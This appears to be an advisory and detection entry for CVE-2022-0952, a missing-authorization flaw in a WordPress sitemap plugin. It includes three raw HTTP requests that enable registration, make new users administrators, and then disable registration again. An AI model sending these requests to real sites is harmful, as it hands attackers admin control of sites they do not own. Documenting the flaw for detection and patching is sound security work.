| Title | WordPress Sitemap by click5 <1.0.36 - Missing Authorization |
|---|---|
| Author | random-robbie |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information. |
| Remediation | Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue. |
| CVSS Score | 8.8 |
| EPSS Score | 0.89187 |
| CVE ID | CVE-2022-0952 |
| CWE ID | CWE-352 |
| Tags | cve cve2022 wp wp-plugin sitemap wpscan wordpress sitemap_project vkev vuln |
WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 26
Content-type: application/json;charset=UTF-8
Accept-Encoding: gzip
{"users_can_register":"1"}
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
Connection: close
Content-Length: 32
Content-type: application/json;charset=UTF-8
Accept-Encoding: gzip
{"default_role":"administrator"}
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 26
Content-type: application/json;charset=UTF-8
Accept-Encoding: gzip
{"users_can_register":"0"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0952.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0952.pcap
N/AN/A